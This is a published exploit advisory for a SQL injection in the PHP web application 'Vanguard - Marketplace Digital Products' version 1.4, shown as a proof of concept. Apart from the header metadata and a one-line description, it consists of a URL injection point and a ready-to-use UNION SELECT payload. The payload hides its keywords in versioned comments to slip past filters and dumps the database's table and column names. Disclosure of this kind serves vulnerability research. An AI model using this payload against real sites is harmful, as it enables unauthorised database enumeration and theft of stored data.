27 lines
No EOL
1 KiB
Text
27 lines
No EOL
1 KiB
Text
# # # # #
|
|
# Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - SQL Injection
|
|
# Dork: N/A
|
|
# Date: 11.12.2017
|
|
# Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio
|
|
# Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825
|
|
# Version: 1.4
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: N/A
|
|
# # # # #
|
|
# Exploit Author: Ihsan Sencan
|
|
# Author Web: http://ihsan.net
|
|
# Author Social: @ihsansencan
|
|
# # # # #
|
|
# Description:
|
|
# The vulnerability allows an attacker to inject sql commands....
|
|
#
|
|
# Proof of Concept:
|
|
#
|
|
# 1)
|
|
# http://localhost/[PATH]/p/[SQL]
|
|
#
|
|
# '++/*!50000UNION*/+/*!50000SELECT*/+1%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31%2c32%2c33--+-
|
|
#
|
|
#
|
|
# # # # # |